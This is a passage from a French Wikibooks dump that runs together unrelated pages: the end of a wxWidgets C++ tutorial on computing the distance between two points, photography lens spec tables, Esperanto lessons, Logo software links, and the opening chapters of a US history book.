editPointB(wxCommandEvent &event); DECLARE_EVENT_TABLE() }; #endif </pre> '''Le fichier DistanceWin.cpp est le suivant :''' <pre> #include"DistanceWin.h" #include"PointDialog.h" DistanceWin::DistanceWin() : wxFrame(NULL,-1,"Distance",wxPoint(10,10),wxSize(400,300)) { panel= new wxPanel(this); textXA=new wxStaticText(panel,-1,"Abscisse de A : ",wxPoint(10,20),wxSize(100,20)); textYA=new wxStaticText(panel,-1,"Ordonnée de A : ",wxPoint(10,50),wxSize(100,20)); textXB=new wxStaticText(panel,-1,"Abscisse de B : ",wxPoint(10,90),wxSize(100,20)); textYB=new wxStaticText(panel,-1,"Ordonnée de B : ",wxPoint(10,120),wxSize(100,20)); textDistance=new wxStaticText(panel,-1,"La distance AB : ",wxPoint(10,180),wxSize(200,20)); editXA=new wxTextCtrl(panel,-1,"",wxPoint(120,20),wxSize(100,20)); editXA->SetEditable(false); editXA->SetBackgroundColour(wxColour(200,200,200)); editYA=new wxTextCtrl(panel,-1,"",wxPoint(120,50),wxSize(100,20)); editYA->SetEditable(false); editYA->SetBackgroundColour(wxColour(200,200,200)); editXB=new wxTextCtrl(panel,-1,"",wxPoint(120,90),wxSize(100,20)); editXB->SetEditable(false); editXB->SetBackgroundColour(wxColour(200,200,200)); editYB=new wxTextCtrl(panel,-1,"",wxPoint(120,120),wxSize(100,20)); editYB->SetEditable(false); editYB->SetBackgroundColour(wxColour(200,200,200)); editDistance=new wxTextCtrl(panel,-1,"",wxPoint(120,180),wxSize(100,20)); editDistance->SetEditable(false); editDistance->SetBackgroundColour(wxColour(200,200,200)); editA=new wxButton(panel,BUTTONEDITA_ID,"MODIFIER A",wxPoint(240,35)); editB=new wxButton(panel,BUTTONEDITB_ID,"MODIFIER B",wxPoint(240,105)); ShowPoint(); } void DistanceWin::editPointA(wxCommandEvent &event) { PointDialog *dialog=new PointDialog(this,"Modification du Point A",A); dialog->ShowModal(); ShowPoint(); } void DistanceWin::editPointB(wxCommandEvent &event) { PointDialog *dialog=new PointDialog(this,"Modification du Point B",B); dialog->ShowModal(); ShowPoint(); } void DistanceWin::ShowPoint() { wxString s; s.sprintf("%lf",A.getX()); editXA->SetValue(s); s.sprintf("%lf",A.getY()); editYA->SetValue(s); s.sprintf("%lf",B.getX()); editXB->SetValue(s); s.sprintf("%lf",B.getY()); editYB->SetValue(s); s.sprintf("%lf",A.distance(B)); editDistance->SetValue(s); } BEGIN_EVENT_TABLE(DistanceWin,wxFrame) EVT_BUTTON(BUTTONEDITA_ID,DistanceWin::editPointA) EVT_BUTTON(BUTTONEDITB_ID,DistanceWin::editPointB) END_EVENT_TABLE() </pre> === La classe Point=== La classe Point comportera 2 données membres privées x et y qui représentent les coordonnées du point, un constructeur qui initialise à 0 les coordonnées des points, 2 accesseurs getX() et getY() et 1 mutateur setXY(int x, int y). Elle possède également une méthode distance pour calculer la distance entre 2 points.<br/> Le fichier Point.h est le suivant : <pre> #ifndef POINT_H #define POINT_H class Point { public: Point(); double getX(); double getY(); void setXY(double x, double y); double distance(const Point &P); private: double x,y; }; #endif </pre> '''Le fichier Point.cpp est le suivant : ''' <pre> #include"Point.h" #include<cmath> Point::Point():x(0),y(0) { } double Point::getX(){return x;} double Point::getY(){return y;} void Point::setXY(double x, double y) { this->x=x; this->y=y; } double Point::distance(const Point &P) { double dx,dy; dx=x-P.x; dy=y-P.y; return sqrt(dx*dx+dy*dy); } </pre> === La classe PointDialog=== La classe PointDialog est une boîte de dialogue modale qui permet d'éditer les coordonnées d'un point. Elle hérite à ce titre de la classe prédéfinie wxDialog.<br/> La boîte est modale, c'est-à-dire que lorsqu'on l'ouvre, l'application est bloquée jusqu'à ce qu'on la ferme en cliquant sur le bouton OK ou Annuler.<br/> Le constructeur de la boîte de dialogue aura 3 paramètres : <br/> *le composant parent de cette boîte de dialogue : ce sera un pointeur vers la fenêtre de notre application. *une chaîne de caractères wxString qui indique le titre de notre fenêtre. En pratique ce sera "Modification du point A" ou "Modification du point B". une référence vers le point à modifier. L'initialisation de cette référence se fera via la liste d'initialisation. *Le constructeur de PointDialog appelle le constructeur de wxDialog. Ce dernier a besoin des informations suivantes : <br/> *le wxWidget parent de la boîte de dialogue. *un identifiant que nous n'utiliserons pas (valeur -1). *le titre de la boîte de dialogue *la position de la boîte de dialogue de la classe wxPoint(). *la taille de la boîte de dialogue de la classe wxSize(). *Ce constructeur va dans un premier temps créer les différents composants graphiques : des wxStaticText, des champs texte édiatbles de la classe wxtextCtrl et les boutons OK et Annuler qui auront des identifiants prédéfinis : respectivement wxID_OK et wxID_CANCEL. *Une fois ces composants graphiques positionnés, on affichera les coordonnées du point passé par référence en appelant la méthode ShowPoint(). Cette méthode récupérera les coordonnées du point en appelant les accesseurs, transformera ces données en chaînes de caractères et affichera ces chaînes dans les champs texte correspondant. *Lorsqu'on cliquera sur le bouton Annuler, ce bouton ayant l'identifiant wxID_CANCEL, la boîte de dialogue sera tout simplement fermée. *Lorsqu'on cliquera sur le bouton OK, ce bouton ayant l'identifiant wxID_OK, alors on appellera automatiquement la méthode virtuelle bool Validate(). Si cette méthode renvoie true, alors la boîte de dialogue sera fermée, sinon elle restera ouverte. Nous redéfinissons la méthode Validate dans notre classe PointDialog : cette méthode récupère les chaînes saisies pour l'abscisse et l'ordonnée du point. Elle essaye ensuite de transformer ces chaînes en double en appelant la méthode ToDouble sur la classe wxString. Si les 2 coordonnées sont correctes, alors on modifiera les coordonnées du point (passé par référence) en appelant le mutateur setXY(...). Dans le cas contraire, un message d'erreur sera affiché en appelant la fonction wxMessageBox("Les données ne sont pas valides","ERREUR");. '''Le fichier PointDialog.h est le suivant : ''' <pre> #ifndef POINTDIALOG_H #define POINTDIALOG_H #include<wx/wx.h> #include"Point.h" class PointDialog : public wxDialog { public: PointDialog(wxWindow * parent,wxString titre, Point &P); private: Point &P; wxStaticText *textX,*textY; wxTextCtrl *editX,*editY; wxButton *OK,*Cancel; void ShowPoint(); bool Validate(); }; #endif </pre> '''Le fichier PointDialog.cpp est le suivant : ''' <pre> #include"PointDialog.h" PointDialog::PointDialog(wxWindow * parent,wxString titre, Point &P): wxDialog(parent,-1,titre,wxPoint(500,100),wxSize(400,200)),P(P) { textX=new wxStaticText(this,-1,"Abscisse du point : ",wxPoint(10,20),wxSize(100,20)); textY=new wxStaticText(this,-1,"Ordonnée du point : ",wxPoint(10,50),wxSize(100,20)); editX=new wxTextCtrl(this,-1,"",wxPoint(120,20),wxSize(100,20)); editY=new wxTextCtrl(this,-1,"",wxPoint(120,50),wxSize(100,20)); OK=new wxButton(this,wxID_OK,"OK",wxPoint(260,20)); Cancel=new wxButton(this,wxID_CANCEL,"Annuler",wxPoint(260,50)); ShowPoint(); } void PointDialog::ShowPoint() { wxString s; s.sprintf("%lf",P.getX()); editX->SetValue(s); s.sprintf("%lf",P.getY()); editY->SetValue(s); } bool PointDialog::Validate() { double x,y; bool okx,oky,ok; wxString s; s=editX->GetValue(); okx=s.ToDouble(&x); s=editY->GetValue(); oky=s.ToDouble(&y); ok=okx && oky; if(ok)P.setXY(x,y); else wxMessageBox("Les données ne sont pas valides","ERREUR"); return ok; } </pre> Image:WxWidgetDialogue.jpg 7029 32804 2006-02-14T12:00:35Z Merrheim 1032 Decouverte de MySQL, PostgreSQL et Oracle 7032 33009 2006-02-15T22:55:13Z GML 1127 #REDIRECT [[Découverte de MySQL, PostgreSQL et Oracle]] LSF/Vocab/mot 7033 33020 2006-02-16T02:16:24Z 70.48.80.128 bonjour, je m'apelle fabiola je suis votre stagiaire infirmière aujourdhui Image:FA-2.gif 7034 33043 2006-02-16T09:17:02Z Merrheim 1032 Une porte Full Adder (H.T.Bui, Y.Wang et Y.Jiang - Transaction on CaS - janvier 2002) Image:NAND.gif 7035 33041 2006-02-16T09:04:14Z Merrheim 1032 Image:NOR.gif 7036 33044 2006-02-16T09:17:39Z Merrheim 1032 Image:MUX.gif 7037 33048 2006-02-16T10:03:16Z Merrheim 1032 Image:XOR.gif 7038 33061 2006-02-16T11:53:18Z Merrheim 1032 Image:Additionneur-8bits.gif 7039 33064 2006-02-16T12:24:18Z Merrheim 1032 Image:FA-1.gif 7040 33066 2006-02-16T12:27:57Z Merrheim 1032 Image:XOR-2.gif 7041 33069 2006-02-16T12:34:41Z Merrheim 1032 Image:Additionneur-soustracteur-8bits.gif 7042 33071 2006-02-16T12:47:11Z Merrheim 1032 Image:MUX-2.gif 7043 33074 2006-02-16T12:53:20Z Merrheim 1032 Image:MUX-8bits.gif 7044 33076 2006-02-16T13:01:59Z Merrheim 1032 Image:Décaleur-8bits.gif 7046 33083 2006-02-16T13:20:14Z Merrheim 1032 Image:Décaleurs 4 bits - 0 à 3 positions.gif 7047 33085 2006-02-16T13:57:38Z Merrheim 1032 Modèle:User phimatex 7048 33092 2006-02-16T14:33:57Z Garzol 521 <div style="float: left; border:solid #999999 1px; margin: 1px;"> {| cellspacing="0" style="width: 238px; background: #F9DC68;" | style="width: 45px; height: 45px; background: white; text-align: center; font-size: 14pt; color: black;" | '''[[Image:Phimatex2.png|40px]]''' | style="font-size: 8pt; padding: 4pt; line-height: 1.25em; color: white;" | Je [[:Category:PhiMaTeX users|contribue]] à '''[http://phimatex.sf.net PhiMaTeX]'''. |}</div> <includeonly> [[Category:PhiMaTeX users|{{PAGENAME}}]] </includeonly> <noinclude> [[Category:User templates|PhiMaTeX]] </noinclude> Image:Phimatex2.png 7049 33089 2006-02-16T14:25:01Z Garzol 521 phimatex logo phimatex logo Programmation Logo Logiciels 7050 33179 2006-02-17T10:53:54Z Garzol 521 Il y a de nombreux logiciels de Logo disponibles sur le [http://www.google.com/search?hl=en&lr=&q=logo+language web]. == Langages == === ELICA === [http://www.elica.net/preview/preview1.html ELICA] est tourné vers le rendu 3D, il permet de très belles réalisations. [[Image:Elica.jpg]] === NetLogo === [http://ccl.northwestern.edu/netlogo/ NetLogo] est orienté programmation d'agents. Il a un très large base d'exemples disponibles. [[Image:Netlogo.png]] === StartLogo === [http://education.mit.edu/starlogo-tng/ StartLogo] est très simple, et très orienté vers le visuel. [[Image:Startlogo.jpeg]] Image:Startlogo.jpeg 7051 33098 2006-02-16T14:55:02Z Garzol 521 exemple d'utilisation de startlogo, trouvé sur http://education.mit.edu/starlogo-tng/tutorial-overview.htm exemple d'utilisation de startlogo, trouvé sur http://education.mit.edu/starlogo-tng/tutorial-overview.htm Image:Netlogo.png 7052 33100 2006-02-16T14:56:11Z Garzol 521 exemple d'utilisation de netlogo, trouvé sur http://ccl.northwestern.edu/netlogo/models/SoundMachines exemple d'utilisation de netlogo, trouvé sur http://ccl.northwestern.edu/netlogo/models/SoundMachines Image:Elica.jpg 7053 33101 2006-02-16T14:57:03Z Garzol 521 exemple d'utilisation d'elica, trouvé sur http://www.elica.net/preview/preview3.html exemple d'utilisation d'elica, trouvé sur http://www.elica.net/preview/preview3.html Photographie - 40 - Tamron 7054 33312 2006-02-18T20:47:46Z Jean-Jacques MILAN 114 /* Tamron AF 70-300mm f/4-5.6 LD macro (2001) */ {{Photographie}} {{Photo_40}} == Zooms grand-angulaires == === Tamron AF 2,8/17-50 Di II LD aspherical (2006) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Lentilles/groupes : </font>16/13 • <font color=grey>Angle de vue : </font>78°45'-31°11' sur format APS • <font color=grey>Diaphragme : </font>7 lamelles • <font color=grey>Ouverture minimale : </font>32 • <font color=grey>Mise au point minimale : </font>0,27 m • <font color=grey>Rapport de grandissement maxi : </font>1/4,5 • <font color=grey>Diamètre de filtres : </font>67 mm • <font color=grey>Poids : </font>398 g • <font color=grey>Diamètre x longueur : </font>74 x 81,7 mm • <font color=grey>Monture : </font> • <font color=grey>Remarques : </font> |- |} == Zooms trans-standards == === Tamron SP AF 24-135 mm f/3,5-5,6AD [IF] macro (2001) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Lentilles/groupes : </font>14/10 • <font color=grey>Angle de champ : </font>de 84° à 18° • <font color=grey>Diaphragme : </font> • <font color=grey>Ouverture minimale : </font> • <font color=grey>Mise au point minimale : </font>400 mm • <font color=grey>Rapport de grandissement maxi : </font>1/3,3 à 135 mm • <font color=grey>Diamètre de filtres : </font>72 mm • <font color=grey>Poids : </font>525 g • <font color=grey>Diamètre x longueur : </font> • <font color=grey>Monture : </font>AF Canon, Minolta, Nikon (D) et Pentax • <font color=grey>Remarques : </font> |- |} == Télé-zooms == === Tamron AF 70-300mm f/4-5,6 LD macro (2001) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Lentilles/groupes : </font>13/9 • <font color=grey>Angle de champ : </font>de 34° à 18° en 24 x 36 • <font color=grey>Diaphragme : </font> • <font color=grey>Ouverture minimale : </font> • <font color=grey>Mise au point minimale : </font>1,5 m en mode normal et 95 cm en mode « macro » • <font color=grey>Rapport de grandissement maxi : </font>1/2 en « macro » à 300 mm • <font color=grey>Diamètre de filtres : </font>62 mm • <font color=grey>Poids : </font>435 g • <font color=grey>Diamètre x longueur : </font> • <font color=grey>Monture : </font>AF Canon, Minolta, Nikon (D) et Pentax • <font color=grey>Remarques : </font> |- |} Photographie - chapitre 40 - Fabricants de matériels/Questionnaire/Appareils 7058 33118 2006-02-16T17:58:58Z Jean-Jacques MILAN 114 [[Photographie - 40 - Fabricants de matériels/questionnaire/appareils]] déplacé vers [[Photographie - chapitre 40 - Fabricants de matériels/Questionnaire/Appareils]]: erreur {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de film / capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film / capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Mode [[Photographie - 23 - Macrophotographie|macro]] : </font> • <font color=grey>Remarques : </font> |- |} Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Appareils argentiques 7062 33342 2006-02-18T23:11:50Z Jean-Jacques MILAN 114 {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de film : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Objectifs 7063 33127 2006-02-16T18:08:08Z Jean-Jacques MILAN 114 {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Lentilles/groupes : </font> • <font color=grey>Angle de champ : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Ouverture minimale : </font> • <font color=grey>Mise au point minimale : </font> • <font color=grey>Rapport de grandissement maxi : </font> • <font color=grey>Diamètre de filtres : </font> • <font color=grey>Poids : </font> • <font color=grey>Diamètre x longueur : </font> • <font color=grey>Monture : </font> • <font color=grey>Remarques : </font> |- |} Image:FA-4.gif 7064 33148 2006-02-17T08:55:39Z Merrheim 1032 Une porte Full Adder (H.T.Bui, Y.Wang et Y.Jiang - Transaction on CaS - janvier 2002) Photographie - 40 - Sigma 7065 33240 2006-02-17T22:21:55Z Jean-Jacques MILAN 114 [[Photographie - 40 Sigma]] déplacé vers [[Photographie - 40 - Sigma]]: erreur {{Photographie}} {{Photo_40}} === Sigma 2,8/18-50 EX DC === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Lentilles/groupes : </font>15/13 • <font color=grey>Angle de champ : </font>69,3 - 27,9° • <font color=grey>Diaphragme : </font>7 lamelles • <font color=grey>Ouverture minimale : </font>22 • <font color=grey>Mise au point minimale : </font>28 cm • <font color=grey>Rapport de grandissement maxi : </font>1/5 • <font color=grey>Diamètre de filtres : </font>67 mm • <font color=grey>Poids : </font>445 g • <font color=grey>Diamètre x longueur : </font>74,1 x 84,1 mm • <font color=grey>Monture : </font> • <font color=grey>Remarques : </font> |- |} Histoire des États-Unis d'Amérique 7067 40662 2006-04-21T15:07:51Z E-s-B 1133 catégorie <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#CCCCEE"><tr> <td style="background:#CCCCEE;vertical-align:top"><div style="margin-left:10px; margin-right:10px; margin-top:10px;margin-bottom:10px; border:solid #BBBBBB 0px">[[Image:Flag of the United States.svg|200px]]</div></td> <td style="vertical-align:center"><div style="margin-left:15px;margin-right:15px">''Lorsque dans le cours des événements humains, il devient nécessaire pour un peuple de dissoudre les liens politiques qui l'ont attaché à un autre et de prendre, parmi les puissances de la Terre, la place séparée et égale à laquelle les lois de la nature et du Dieu de la nature lui donnent droit, le respect dû à l'opinion de l'humanité oblige à déclarer les causes qui le déterminent à la séparation.'' :Extrait de la déclaration d'indépendance des États-Unis d'Amérique, 4 juillet 1776 <center><br><big>'''[[Histoire des États-Unis d'Amérique:sommaire|sommaire >>]]'''</big></center></div></td> </tr></table> [[en:History of the United States]] [[Catégorie:Histoire]] Espéranto : Huitième Leçon 7068 42575 2006-05-17T07:27:43Z 82.233.108.150 correction accents ==Exclamations== Comme toutes les autres langues, l'espéranto a ses propres exclamations. *Ah!.....Ha *Bah!, Té!, Vé!.....Ba! *Hé!.....Hej! *Beurk!.....Aĉ! *Merde!.....Fek'! *Hélas!.....Ve! *Oh!.....Ho! *Eh!.....Ej! *Pffff!.....Fi! *Mon dieu.....Dio mia! *Oh que oui!/Oh oui!.....Jes ja! ==Dirigeance== La dirigeance s'indique en mettant le suffixe -'''estr'''-. Ex: *maire de la ville.....urbestro *maire du village.....vilaĝestro *directeur d'école.....lernejestro *directeur de maison.....domestro ==Fragment== Le fragment s'indique en mettant le suffixe -'''er'''-. Ex: *flocon de neige.....neĝero *grain de sable.....sablero *brin d'herbe.....herbero *goutte d'eau.....akvero [[Catégorie:Espéranto|08]] Espéranto : Neuvième Leçon 7069 40314 2006-04-14T17:46:15Z Pseudomoi 395 ==Mérite== Le mérite s'indique en mettant le suffixe -'''ind'''-. Ex: *mériter d'être lu.....legindi *mériter la photo.....fotindi *mériter un baiser.....kisindi *mériter d'être vu.....vidindi ==Sentiments== Grâce à sa grande expressivité, l'espéranto permet une large nuance dans l'expression des sentiments. Ex: *paternel(le).....patra *maternel(le).....patrina *fraternel(le).....frata *avunculaire.....onkla/onklina *sentiment du grand-père.....ava *sentiment de la grand-mère.....avina *sentiment du cousin.....kuza *sentiment de la cousine.....kuzina ==Possibilité== La possibilité s'indique en mettant le suffixe -'''ebl'''-. Ex: *faisable.....farebla *visible.....videbla *compréhensible.....komprenebla *perceptible.....perceptebla [[Catégorie:Espéranto|08]] Histoire des États-Unis d'Amérique:sommaire 7070 33411 2006-02-19T09:47:56Z Urban 886 {{EnTravaux}}{{Histoire des États-Unis d'Amérique}} <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#EEEEEE"> <!-- ### intro ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><big><div style="margin-right:15px"> [[Histoire des États-Unis d'Amérique:Introduction|'''Introduction''']] </big> ''Comment se sont formés le territoire et la nation américaine ? Comment le pays est-il devenu la première puissance de la planète ?'' </div></td> <td style="background:#CCCCEE;vertical-align:top">[[Image:Declaration independence.jpg|100px|La signature de la déclaration d'indépendance, 1776]]</td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### chapitre 1 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Bad.Wound.Sioux.1899.ws.jpg|100px]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire des États-Unis d'Amérique:Chapitre 1|'''1. Histoire des Amérindiens''']] </big> ''Les Amérindiens sont les premiers occupants du territoire améréicain. Ils vivaient dans le cadre de tribus très diverses par leurs coutumes et leurs langues.'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 2 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Lewis and Clark.jpg|100px]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire des États-Unis d'Amérique:Chapitre 2|'''2. Exploration du territoire''']] </big> ''Les Européens ont exploré les côtes des États-Unis au début du XVIe siècle. Ils cherchaient de l'or et un passage maritime vers l'Extrême-Orient. Ils vont trouver des Amérindiens et un continent sauvage.'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 3 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Governor'sHouse Williamsburg Virginia USA.jpg|100px]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire des États-Unis d'Amérique:Chapitre 3|'''3. Occupation européenne''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 4 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Sprit of '76.2.jpeg|100px]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire des États-Unis d'Amérique:Chapitre 4|'''4. La guerre d'indépendance''']] </big> ''En 1776, les insurgents des 13 colonies britanniques de la côte atlantique proclament leur indépendance : les États-Unis sont nés et proclament de nouveaux principes de gouvernement, inspirés par les philosophes des Lumières'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 5 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:US Capitol Building at night Jan 2006.jpg|100px]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire des États-Unis d'Amérique:Chapitre 5|'''5. Les débuts de la jeune nation''']] </big> ''Les défis posés après la guerre d'indépendance sont considérables : quelle organisation politique ? quelle extension ? quelles relations avec les Amérindiens et les colons européens ?'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 6 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire des États-Unis d'Amérique:Chapitre 6|'''6. Industrialisation et urbanisation''']] </big> ''Les transformations économiques et sociales provoquées par la Révolution industrielle occupent les Etats-Unis durant le XIXe siècle. Le pays prépare progressivement son ascension au rang de puissance mondiale'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 7 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Lincoln.jpg|100px]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire des États-Unis d'Amérique:Chapitre 7|'''7. La guerre de sécession''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> Espéranto : Dixième Leçon 7071 45484 2006-06-23T14:31:36Z 194.250.178.227 /* Réunion des deux sexes */ ==Contenant total== Le contenant total s'indique en mettant le suffixe -'''uj'''-. Ex: *soupière.....supujo *porte-monnaie.....monujo *salière.....salujo *poivrière.....piprujo ==Réunion des deux sexes== La réunion des deux sexes s'indique en mettant le préfixe '''ge-'''. Ex *frères et sœurs.....gefratoj *parents.....gepatroj *Mesdames et Messieurs.....Gesinjoroj *oncle et tante.....geonkloj ==Sans== La notion de "sans" s'indique en mettant la préposition '''sen'''. Ex: *sans fil.....senfila *gratuit.....senpaga *sans tête.....senkapa [[Catégorie:Espéranto|10]] Histoire des États-Unis d'Amérique:Chapitre 1 7072 39402 2006-04-01T13:01:49Z Greudin 1 restitution de la dernière modification de Urban {{EnTravaux}} {{Histoire des États-Unis d'Amérique}} Les historiens et les archéologues pensent que les premiers habitants du continent américain sont venus d'Asie en passant par le détroit de Béring. Il est difficile de dater précisément le début de cette grande migration ; elle remonte peut-être à 40 000 ans avant notre ère. À cette époque, le détroit de Béring était couvert de glaces qui formaient un pont naturel entre les deux continents. Les hommes qui s'aventurèrent vers l'Alaska continuèrent leur progression vers le sud et finirent par peupler l'ensemble du continent américain. Ils rencontrèrent des obstacles naturels tels que les Montagnes Rocheuses. Avec la fin de la période glaciaire, ces Hommes se retrouvèrent isolés de leur continent d'origine : ils deviennent alors des "Indiens d'Amérique" et fondent des cultures originales, a l'écart du reste du monde. Afin de ne pas les confondre avec les habitants de l'Inde, l'habitude s'est imposée de les appeler "Amérindiens". Ils sont donc les lointains descendants de populations asiatiques. =Cultures disparues= Les premières traces archéologiques retrouvées sur le sol des États-Unis sont celles de l'homme de Folsom (Nouveau-Mexique). Ses restes seraient vieux de 20 000 ans. Le site de Clovis, au Nouveau-Mexique est l'un des plus connus aux États-Unis. Les fouilles ont permis de mettre à jour une culture vieille de 12 000 ans qui utilisait des flèches en pierre pour les besoins de la chasse. ==[[Les Mound Builders]]== [[Image:Mound Builder City.jpeg|thumb|left|250px|Reconstitution des tertres des Mound Builders]] L'expression "Mound Builders" désigne une culture - aujourd'hui éteinte - qui s'est développée à l'est du fleuve Mississippi et qui construisait (''Build'') des tertres (''Mound'') en terre à des fins religieuses. Les archéologues ont retrouvé les traces de ces constructions sur un territoire relativement étendu, des Grands Lacs au Golfe du Mexique. Il semble que les Mound Builders n'aient pas formé une seule tribu mais étaient organisés en plusieurs groupes adaptés à leur milieu naturel. Les Adenas chassaient et cueillaient dans la vallée de l'Ohio dès le IXe siècle avant J.-C. Les Hopewells semblent prendre le relais entre le IIIe siècle avant J.-C. et le VIe siècle de notre ère. Ces derniers pratiquaient le commerce et l'agriculture. Ils aménagèrent le fameux ''Great Serpent Mound'', qui, vu du ciel, dessine la forme d'un serpent. Sa signification exacte nous échappe encore, faute de documents écrits. La plus importante des villes précolombiennes de l'Amérique du Nord était Cahokia : elle comptait peut-être 20 à 30 000 habitants et comportait plusieurs pyramides de terre. ==Les cultures du désert== [[Image:Mesaverde2.jpg|thumb|right|250px|Mesa Verde, Nouveau-Mexique]] Dans le Sud-Ouest des États-Unis actuels (Nouveau-Mexique, Arizona), plusieurs peuples se sont adaptés à l'aridité et ont développé des cultures originales. Bien que la chronologie de ces cultures ne soient pas assurée, il est possible de distinguer plusieurs étapes : *Les Hohokam sont venus du sud (Mexique actuel) vers 300 avant J.-C. ; ils excellaient dans la maîtrise de l'eau et cultivaient des champs irrigués. Ils ont laissé des traces de leur artisanat (poteries) et de leur art (gravures). *Les Anasazi migrèrent à peu près à la même période. Ils développèrent la technique de construction de l'adobe et vivaient dans des villages (pueblos en espagnol). Les murs de leurs maisons étaient fait de briques d'argile sechées au soleil et maintenues par une armature en bois. Certains villages furent construits sous des falaises, comme Mesa Verde. Les Anasazi aménagèrent un réseau de routes et pratiquaient le commerce. ==Conclusion : les cultures disparues des États-Unis== Bien que ces cultures amérindiennes furent développées, elles ne consituèrent jamais de civilisations aussi brillantes que celle des Aztèques ou des Mayas, situées plus au sud. Elles ne possédaient aucun système d'écriture et n'étaient pas organisées en états. L'élevage était peu développé. Aucun de leurs villes n'atteignaient la splendeur de Cuzco (ville inca du Pérou) ou Tenochtitlan (aujourd'hui Mexico). Il ne fait aucun doute cependant qu'elles aient noué des contacts avec l'empire aztèque, sous forme de relations commerciales par exemple. =Les tribus amérindiennes= Lorsque les Européens commencèrent à explorer l'Amérique du Nord au XVIe siècle, ils rencontrèrent des dizaines de tribus d'Amérindiens plus ou moins hostiles. 